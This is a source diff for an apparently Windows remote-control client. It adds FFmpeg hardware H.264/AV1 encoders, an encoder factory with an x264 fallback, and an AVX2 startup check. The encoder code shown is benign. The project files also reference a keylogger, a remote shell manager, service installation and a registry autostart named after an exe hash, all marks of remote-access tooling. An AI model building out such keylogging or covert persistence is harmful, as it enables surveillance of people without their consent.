// FFmpeg / 系统库已经由 CFFmpegH264Encoder.cpp 的 #pragma comment(lib) 引入。
// 这里不再重复声明(重复 #pragma comment 在同一 link 单元不冲突但冗余)。
// av_opt_set 包装:拼错的参数值会被 FFmpeg 静默忽略,包一层日志便于发现。
// 实现与 CFFmpegH264Encoder 内的 helper 相同;放成 static 文件内可见即可。
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
int rc = av_opt_set(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
name, val, backend, rc, errbuf);
}
}
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
int rc = av_opt_set_int(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
name, (long long)val, backend, rc, errbuf);
}
}
// AV1 硬编后端探测顺序,没有 av1_mf 兜底FFmpeg 7.1 不支持)。
// 全失败时 EncoderFactory 自动回退到 H.264 路径,行为对称。
static const char* kAV1Backends[] = {
"av1_nvenc", // NVIDIA RTX 40 / 50 系Ada Lovelace+
"av1_amf", // AMD RX 7000+RDNA 3+
"av1_qsv", // Intel Arc 独显 / 部分 11 代+ 核显
};
CFFmpegAV1Encoder::CFFmpegAV1Encoder() = default;
CFFmpegAV1Encoder::~CFFmpegAV1Encoder() {
close();
}
void CFFmpegAV1Encoder::cleanupCodec() {
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
}
void CFFmpegAV1Encoder::close() {
cleanupCodec();
m_backend.clear();
m_pts = 0;
m_forceIDR = false;
}
bool CFFmpegAV1Encoder::open(const EncoderParams& params) {
close();
for (const char* name : kAV1Backends) {
if (tryOpenBackend(name, params)) {
m_backend = name;
return true;
}
cleanupCodec();
}
return false;
}
bool CFFmpegAV1Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
const AVCodec* codec = avcodec_find_encoder_by_name(name);
if (!codec) {
// AV1 硬编没注册 = 老 ffmpeg lib 不含 AV1 encodercompress\ffmpeg 没启用 av1
Mprintf("=> FFmpeg: AV1 encoder '%s' NOT in linked lib\n", name);
return false;
}
m_ctx = avcodec_alloc_context3(codec);
if (!m_ctx) {
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
return false;
}
m_ctx->width = p.width & ~1;
m_ctx->height = p.height & ~1;
m_ctx->time_base = AVRational{1, p.fps};
m_ctx->framerate = AVRational{p.fps, 1};
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 15);
m_ctx->max_b_frames = 0;
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
// RC 策略与 H.264 路径对齐peak-constrained VBR远控静态画面省带宽。
if (strcmp(name, "av1_nvenc") == 0) {
// av1_nvenc preset p1~p7远控 p5 兼顾质量与速度。
// tile-columns=1 把帧切两列,解码端并行更友好(浏览器 AV1 解码常用 SIMD/多线程)
setOpt(m_ctx->priv_data, "preset", "p5", name);
setOpt(m_ctx->priv_data, "tune", "ll", name);
setOpt(m_ctx->priv_data, "rc", "vbr", name);
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
setOptInt(m_ctx->priv_data, "tile-columns", 1, name);
} else if (strcmp(name, "av1_amf") == 0) {
// av1_amf 选项命名与 h264_amf 大体一致rc 同样支持 vbr_peak
// (见 ffmpeg -h encoder=av1_amf)。静态画面省码率四件套同 H.264 路径。
setOpt(m_ctx->priv_data, "usage", "lowlatency", name);
setOpt(m_ctx->priv_data, "quality", "quality", name);
setOpt(m_ctx->priv_data, "rc", "vbr_peak", name);
setOptInt(m_ctx->priv_data, "vbaq", 1, name);
setOptInt(m_ctx->priv_data, "preanalysis", 1, name);
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
} else if (strcmp(name, "av1_qsv") == 0) {
// av1_qsvbit_rate < max_rate 时自动 VBR
setOpt(m_ctx->priv_data, "preset", "slow", name);
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
setOptInt(m_ctx->priv_data, "low_power", 0, name);
}
int ret = avcodec_open2(m_ctx, codec, nullptr);
if (ret < 0) {
// 找到了但开不起来:无对应 GPU / 驱动太旧 / 跨适配器
char errbuf[128] = {0};
av_strerror(ret, errbuf, sizeof(errbuf));
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
return false;
}
m_frame = av_frame_alloc();
if (!m_frame) return false;
m_frame->format = AV_PIX_FMT_NV12;
m_frame->width = m_ctx->width;
m_frame->height = m_ctx->height;
if (av_frame_get_buffer(m_frame, 32) < 0) {
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
return false;
}
m_packet = av_packet_alloc();
return m_packet != nullptr;
}
void CFFmpegAV1Encoder::setBitrate(int kbps) {
if (!m_ctx) return;
m_ctx->bit_rate = (int64_t)kbps * 1000;
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
m_ctx->rc_buffer_size = (int)(kbps * 1000);
// 同 H.264 路径:多数硬编不支持运行时改 bit_rate 让 ctx 立刻生效;
// 这里仅更新数值,下次 open 时生效。
}
int CFFmpegAV1Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height,
int direction)
{
int signed_height = direction * (int)height;
int w = (int)width;
int h = (int)height;
int y_size = w * h;
int uv_size = (w / 2) * (h / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
uint8_t* y = m_i420Scratch.data();
uint8_t* u = y + y_size;
uint8_t* v = u + uv_size;
if (libyuv::RGB24ToI420(rgb, stride, y, w, u, w / 2, v, w / 2, w, signed_height) != 0)
return -1;
if (libyuv::I420ToNV12(y, w, u, w / 2, v, w / 2,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, h) != 0)
return -1;
return 0;
}
int CFFmpegAV1Encoder::encode(
uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize, int direction)
{
if (!m_ctx || !m_frame || !m_packet) return -1;
if (av_frame_make_writable(m_frame) < 0) return -1;
int w = (int)width;
int h = (int)height;
int signed_height = direction * h;
if (bpp == 32) {
if (libyuv::ARGBToNV12(
rgb, stride,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, signed_height) != 0) {
return -1;
}
} else if (bpp == 24) {
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
return -1;
}
} else {
return -2;
}
m_frame->pts = m_pts++;
if (m_forceIDR) {
m_frame->pict_type = AV_PICTURE_TYPE_I;
m_forceIDR = false;
} else {
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
}
int ret = avcodec_send_frame(m_ctx, m_frame);
if (ret < 0) return -3;
ret = avcodec_receive_packet(m_ctx, m_packet);
if (ret == AVERROR(EAGAIN)) {
*lppData = nullptr;
*lpSize = 0;
return 0;
}
if (ret < 0) return -4;
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
*lppData = m_outputBuffer.data();
*lpSize = (uint32_t)m_outputBuffer.size();
av_packet_unref(m_packet);
return 0;
}
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -0,0 +1,62 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/config.h"
#include <string>
#include <vector>
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
struct AVCodecContext;
struct AVFrame;
struct AVPacket;
// FFmpeg 硬编 AV1 实现。
// 后端探测顺序av1_nvenc (NVIDIA RTX 40+) → av1_amf (AMD RX 7000+) → av1_qsv
// (Intel Arc / 11 代+ 部分核显)。AV1 硬编硬件门槛比 H.264 高得多 —— 没合适
// 硬件时 open 全部失败,由 EncoderFactory 自动回退到 H.264 路径。
//
// 注意FFmpeg 7.1 没有 av1_mf 兜底,因此本类的探测列表比 H.264 短一项。
class CFFmpegAV1Encoder : public VideoEncoderBase
{
public:
CFFmpegAV1Encoder();
~CFFmpegAV1Encoder() override;
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) override;
void forceIDR() override { m_forceIDR = true; }
void setBitrate(int kbps) override;
VideoCodec codec() const override { return VideoCodec::AV1; }
const char* backendName() const override { return m_backend.c_str(); }
private:
bool tryOpenBackend(const char* name, const EncoderParams& p);
void cleanupCodec();
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height, int direction);
AVCodecContext* m_ctx = nullptr;
AVFrame* m_frame = nullptr;
AVPacket* m_packet = nullptr;
std::vector<uint8_t> m_outputBuffer;
std::vector<uint8_t> m_i420Scratch;
int64_t m_pts = 0;
bool m_forceIDR = false;
std::string m_backend;
};
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -0,0 +1,299 @@
#include "CFFmpegH264Encoder.h"
#include "common/config.h"
#include "common/logger.h"
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整个实现 + 所有 #pragma comment(lib,"ffmpeg/...")
// 都不进编译单元FFmpeg 静态库不会被链接进二进制
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavutil/opt.h>
#include <libavutil/imgutils.h>
#include <libyuv/libyuv.h>
}
#include <string.h>
#include <cstdlib>
// FFmpeg 静态库 + 必要的 Windows 系统库。x86 build 不引入,由 _WIN64 守护。
// FFmpeg 三个核心库是纯 CCRT 中性Debug/Release 共用一份。
#pragma comment(lib,"ffmpeg/libavcodec_x64.lib")
#pragma comment(lib,"ffmpeg/libavutil_x64.lib")
#pragma comment(lib,"ffmpeg/libswresample_x64.lib")
// dav1d (AV1 软解C 项目) —— 不分 Debug/Release。
// build 时启用了 --enable-libdav1dlibavcodec 内部 av1 decoder 引用了 dav1d 符号。
#pragma comment(lib,"ffmpeg/dav1d_x64.lib")
// libvpl (Intel QSV, C++ 项目) —— 强制 CRT 一致,必须按 _DEBUG 切。
// build 时启用了 --enable-libvpllibavcodec 内部 h264_qsv / av1_qsv encoder 引用 MFX 符号。
#ifdef _DEBUG
#pragma comment(lib,"ffmpeg/vpl_x64d.lib")
#else
#pragma comment(lib,"ffmpeg/vpl_x64.lib")
#endif
#pragma comment(lib, "mfplat.lib")
#pragma comment(lib, "mfuuid.lib")
#pragma comment(lib, "strmiids.lib")
#pragma comment(lib, "secur32.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
// ws2_32 在 IOCPClient.h 已 link重复不冲突
#pragma comment(lib, "ws2_32.lib")
// av_opt_set wrappersFFmpeg 在选项名/值拼错时 silently 返回 AVERROR_OPTION_NOT_FOUND
// 不报错,导致 encoder 退回默认行为且没人察觉实际踩过AMF rc=vbr_peak_constrained
// 拼成全名FFmpeg 实际只接受 vbr_peak没设上去就退回 CBR
// 包一层 helper任何设置失败 Mprintf 警告。
static void setOpt(void* obj, const char* name, const char* val, const char* backend) {
int rc = av_opt_set(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set('%s'='%s') on %s failed (%d): %s\n",
name, val, backend, rc, errbuf);
}
}
static void setOptInt(void* obj, const char* name, int64_t val, const char* backend) {
int rc = av_opt_set_int(obj, name, val, 0);
if (rc < 0) {
char errbuf[128] = {0};
av_strerror(rc, errbuf, sizeof(errbuf));
Mprintf("[WARN] av_opt_set_int('%s'=%lld) on %s failed (%d): %s\n",
name, (long long)val, backend, rc, errbuf);
}
}
// 后端探测顺序NVIDIA > Intel > AMD > Windows MF 兜底。
// open() 主循环按顺序试,第一个 avcodec_open2 成功的就用。
// h264_mf 质量/稳定性一般,但是 Windows 系统级 hwaccel任何 GPU 都能尝试,作最后兜底。
static const char* kH264Backends[] = {
"h264_nvenc", // NVIDIA NVENC
"h264_qsv", // Intel Quick Sync Video
"h264_amf", // AMD AMF
"h264_mf", // Windows Media Foundation
};
CFFmpegH264Encoder::CFFmpegH264Encoder() = default;
CFFmpegH264Encoder::~CFFmpegH264Encoder() {
close();
}
void CFFmpegH264Encoder::cleanupCodec() {
if (m_packet) { av_packet_free(&m_packet); m_packet = nullptr; }
if (m_frame) { av_frame_free(&m_frame); m_frame = nullptr; }
if (m_ctx) { avcodec_free_context(&m_ctx); m_ctx = nullptr; }
}
void CFFmpegH264Encoder::close() {
cleanupCodec();
m_backend.clear();
m_pts = 0;
m_forceIDR = false;
}
bool CFFmpegH264Encoder::open(const EncoderParams& params) {
close();
for (const char* name : kH264Backends) {
if (tryOpenBackend(name, params)) {
m_backend = name;
return true;
}
cleanupCodec(); // 释放本次失败的 ctx准备下一次尝试
}
return false;
}
bool CFFmpegH264Encoder::tryOpenBackend(const char* name, const EncoderParams& p) {
const AVCodec* codec = avcodec_find_encoder_by_name(name);
if (!codec) {
// 失败 = lib 里没注册这个 encoder。几乎肯定是链到了老 ffmpeg lib。
Mprintf("=> FFmpeg: encoder '%s' NOT in linked lib (old ffmpeg?)\n", name);
return false;
}
m_ctx = avcodec_alloc_context3(codec);
if (!m_ctx) {
Mprintf("=> FFmpeg: avcodec_alloc_context3('%s') failed\n", name);
return false;
}
// 偶数对齐(与 x264 路径 i_width/i_height & 0xfffffffe 一致)
m_ctx->width = p.width & ~1;
m_ctx->height = p.height & ~1;
m_ctx->time_base = AVRational{1, p.fps};
m_ctx->framerate = AVRational{p.fps, 1};
m_ctx->pix_fmt = AV_PIX_FMT_NV12;
m_ctx->gop_size = p.fps * (p.gop_seconds > 0 ? p.gop_seconds : 4);
m_ctx->max_b_frames = 0;
m_ctx->bit_rate = (int64_t)p.bitrate_kbps * 1000;
m_ctx->rc_max_rate = (int64_t)p.bitrate_kbps * 1500;
m_ctx->rc_buffer_size = (int)(p.bitrate_kbps * 1000);
// RC 策略选择:远程办公 90% 时间是静态画面(文档/IDE/邮件CBR 会强行
// 把目标码率填满(静态用不上的部分浪费带宽)。所有硬编后端统一改用 VBR
// bit_rate 是平均目标、rc_max_rate (1.5x) 是峰值上限:静态时 encoder 自动
// 降码率省带宽,动态时回到目标 + 短暂上探到 1.5x 保证画质。
// 接近 x264 软编 CRF + VBV 的行为,但严格守住峰值不爆。
if (strcmp(name, "h264_nvenc") == 0) {
// NVENC preset: p1(最快/低质) ~ p7(最慢/高质),远控低延迟 p5 兼顾。
// tune=ll low-latencyrc=vbr 配 max_rate 实现峰值受限的 VBR。
setOpt(m_ctx->priv_data, "preset", "p5", name);
setOpt(m_ctx->priv_data, "tune", "ll", name);
setOpt(m_ctx->priv_data, "rc", "vbr", name);
setOpt(m_ctx->priv_data, "zerolatency", "1", name);
} else if (strcmp(name, "h264_qsv") == 0) {
// Intel Quick Sync Video。preset: veryfast/faster/fast/medium/slow/slower/veryslow
// QSV 当 bit_rate != rc_max_rate 时自动走 VBR所以这里只需调 preset。
// preset=slow 比 medium 慢但画质好async_depth=1 单帧立即出包。
// low_power=0 走 PAK 路径,部分集显不支持 low_power 模式。
setOpt(m_ctx->priv_data, "preset", "slow", name);
setOptInt(m_ctx->priv_data, "async_depth", 1, name);
setOptInt(m_ctx->priv_data, "low_power", 0, name);
} else if (strcmp(name, "h264_amf") == 0) {
// AMD AMF 远控低延迟配置:
// usage=ultralowlatency 比 lowlatency 更激进,关闭一切 lookahead
// quality=speed 选最快编码路径vs balanced/quality
// rc=cbr 提供最可预测的输出节拍,避免 RC 切换抖动。
// 静态画面省码率交给应用层 skip 检测ScreenCapture::GetNextScreenData
// 已经过 memcmp 把无变化帧直接拦在编码器之前),不再依赖 vbaq/preanalysis
// 这些会引入 30-100ms lookahead 的"省码率三件套"。
setOpt(m_ctx->priv_data, "usage", "ultralowlatency", name);
setOpt(m_ctx->priv_data, "quality", "speed", name);
setOpt(m_ctx->priv_data, "rc", "cbr", name);
setOptInt(m_ctx->priv_data, "filler_data", 0, name);
setOptInt(m_ctx->priv_data, "enforce_hrd", 0, name);
} else if (strcmp(name, "h264_mf") == 0) {
// Windows Media Foundation 兜底。rate_control 实际值ffmpeg -h encoder=h264_mf
// default / cbr / pc_vbr / u_vbr / quality / ld_vbr / g_vbr / gld_vbr
// 远控用 pc_vbr (peak-constrained VBR) 与其他后端语义对齐。
setOptInt(m_ctx->priv_data, "hw_encoding", 1, name);
setOpt(m_ctx->priv_data, "rate_control", "pc_vbr", name);
}
int ret = avcodec_open2(m_ctx, codec, nullptr);
if (ret < 0) {
// 失败 = encoder 找到了但开不起来。常见:无 NVIDIA GPU / 驱动太旧 /
// NVENC session 占满 / 笔记本独显未唤醒 / 参数组合驱动不接受
char errbuf[128] = {0};
av_strerror(ret, errbuf, sizeof(errbuf));
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
return false;
}
m_frame = av_frame_alloc();
if (!m_frame) return false;
m_frame->format = AV_PIX_FMT_NV12;
m_frame->width = m_ctx->width;
m_frame->height = m_ctx->height;
if (av_frame_get_buffer(m_frame, 32) < 0) {
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
return false;
}
m_packet = av_packet_alloc();
return m_packet != nullptr;
}
void CFFmpegH264Encoder::setBitrate(int kbps) {
if (!m_ctx) return;
m_ctx->bit_rate = (int64_t)kbps * 1000;
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
m_ctx->rc_buffer_size = (int)(kbps * 1000);
// 注意FFmpeg 多数硬编不支持运行时改 bit_rate 让 ctx 立即生效;
// 这里只更新数值,下次 open 时才生效。Step 1 不依赖动态调码率。
}
int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height,
int direction)
{
int signed_height = direction * (int)height;
int w = (int)width;
int h = (int)height;
int y_size = w * h;
int uv_size = (w / 2) * (h / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
uint8_t* y = m_i420Scratch.data();
uint8_t* u = y + y_size;
uint8_t* v = u + uv_size;
if (libyuv::RGB24ToI420(
rgb, stride,
y, w,
u, w / 2,
v, w / 2,
w, signed_height) != 0) {
return -1;
}
if (libyuv::I420ToNV12(
y, w,
u, w / 2,
v, w / 2,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, h) != 0) {
return -1;
}
return 0;
}
int CFFmpegH264Encoder::encode(
uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize, int direction)
{
if (!m_ctx || !m_frame || !m_packet) return -1;
if (av_frame_make_writable(m_frame) < 0) return -1;
int w = (int)width;
int h = (int)height;
int signed_height = direction * h;
if (bpp == 32) {
if (libyuv::ARGBToNV12(
rgb, stride,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, signed_height) != 0) {
return -1;
}
} else if (bpp == 24) {
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
return -1;
}
} else {
return -2;
}
m_frame->pts = m_pts++;
if (m_forceIDR) {
m_frame->pict_type = AV_PICTURE_TYPE_I;
m_forceIDR = false;
} else {
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
}
int ret = avcodec_send_frame(m_ctx, m_frame);
if (ret < 0) return -3;
ret = avcodec_receive_packet(m_ctx, m_packet);
if (ret == AVERROR(EAGAIN)) {
// 首帧延迟:本次没出包,调用方按 lpSize==0 跳过本帧
*lppData = nullptr;
*lpSize = 0;
return 0;
}
if (ret < 0) return -4;
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
*lppData = m_outputBuffer.data();
*lpSize = (uint32_t)m_outputBuffer.size();
av_packet_unref(m_packet);
return 0;
}
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -0,0 +1,62 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/config.h"
#include <string>
#include <vector>
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
struct AVCodecContext;
struct AVFrame;
struct AVPacket;
// FFmpeg 硬编 H.264 实现。
// Step 1: 仅探测 h264_nvenc 单后端,足以验证 FFmpeg 静态库集成链路。
// Step 2: 扩展 h264_qsv / h264_amf / h264_mf。
//
// 输入像素BGRA (bpp=32) / RGB24 (bpp=24),与 CX264Encoder 完全一致;
// 内部转 NV12 喂给 FFmpeg encoder。
class CFFmpegH264Encoder : public VideoEncoderBase
{
public:
CFFmpegH264Encoder();
~CFFmpegH264Encoder() override;
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) override;
void forceIDR() override { m_forceIDR = true; }
void setBitrate(int kbps) override;
VideoCodec codec() const override { return VideoCodec::H264; }
const char* backendName() const override { return m_backend.c_str(); }
private:
bool tryOpenBackend(const char* name, const EncoderParams& p);
void cleanupCodec();
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height, int direction);
AVCodecContext* m_ctx = nullptr;
AVFrame* m_frame = nullptr;
AVPacket* m_packet = nullptr;
std::vector<uint8_t> m_outputBuffer; // encode 返回给调用方的缓冲(持有到下一次 encode
std::vector<uint8_t> m_i420Scratch; // RGB24 路径的中间缓冲
int64_t m_pts = 0;
bool m_forceIDR = false;
std::string m_backend; // 实际选中的后端名("h264_nvenc" / ...
};
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST

View File

@@ -6,11 +6,22 @@
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
#include <intrin.h> // for __cpuid, __cpuidex
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
}
// Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported()
{
int cpuInfo[4] = { 0, 0, 0, 0 };
__cpuid(cpuInfo, 0);
if (cpuInfo[0] < 7) return FALSE;
__cpuidex(cpuInfo, 7, 0);
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
}
// 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str()
@@ -195,6 +206,14 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
// Check AVX2 support at startup
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return -1;
}
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
@@ -312,6 +331,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
// Check AVX2 support before starting
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return FALSE;
}
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;

View File

@@ -124,7 +124,7 @@
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -167,7 +167,7 @@
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
@@ -205,6 +205,9 @@
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
@@ -228,6 +231,10 @@
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />

View File

@@ -36,6 +36,9 @@
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
<ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" />
</ItemGroup>
@@ -81,6 +84,10 @@
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="ConPTYManager.h" />
</ItemGroup>
<ItemGroup>

71
client/EncoderFactory.cpp Normal file
View File

@@ -0,0 +1,71 @@
#include "EncoderFactory.h"
#include "common/config.h"
#include "common/logger.h"
#include "X264Encoder.h"
// 合规守护DISABLE_FFMPEG_FOR_TEST=1 时硬编实现整体移出工程,仅保留 x264 软编路径
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
#include "CFFmpegH264Encoder.h"
#include "CFFmpegAV1Encoder.h"
#endif
namespace {
// 与 ScreenCapture::BitRateToCRF 同步:码率越高 CRF 越低(质量更好)。
// 仅 x264 软编路径用,硬编路径直接用 bitrate_kbps 走 CBR。
int BitRateToCRF(int bitRate) {
if (bitRate <= 0) return 23;
if (bitRate >= 3000) return 20;
if (bitRate >= 2000) return 20 + (3000 - bitRate) * 3 / 1000;
if (bitRate >= 800) return 23 + (2000 - bitRate) * 7 / 1200;
return 32;
}
}
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
EncoderParams p;
p.width = req.width;
p.height = req.height;
p.fps = req.fps;
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
// AV1 硬编路径(仅当客户端声明支持 AV1 解码)
// 硬件门槛高:仅 RTX 40+ / RX 7000+ / Intel Arc 才有 av1 encoder ASIC
// 没合适硬件时 open() 全部失败,自然 fall through 到下面 H.264 路径。
if (req.encodeLevel >= LEVEL_AV1_HARD) {
auto enc = std::make_unique<CFFmpegAV1Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
Mprintf("=> encoder: %s (HW AV1, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
return enc;
}
Mprintf("=> all AV1 HW backends failed, falling back to H.264\n");
}
// H.264 硬编CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 顺序探
if (req.encodeLevel >= LEVEL_H264_HARD) {
auto enc = std::make_unique<CFFmpegH264Encoder>();
p.rc = RateControl::BITRATE;
p.bitrate_kbps = req.bitrate_kbps;
if (enc->open(p)) {
Mprintf("=> encoder: %s (HW, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
return enc;
}
Mprintf("=> all H.264 HW backends failed, falling back to x264\n");
}
#endif
// x264 软编兜底(无硬件 / 全失败 / 虚拟机 / 远程桌面会话场景)
if (req.encodeLevel >= LEVEL_H264_SOFT) {
auto enc = std::make_unique<CX264Encoder>();
p.rc = RateControl::CRF;
p.crf = BitRateToCRF(req.bitrate_kbps);
if (enc->open(p)) {
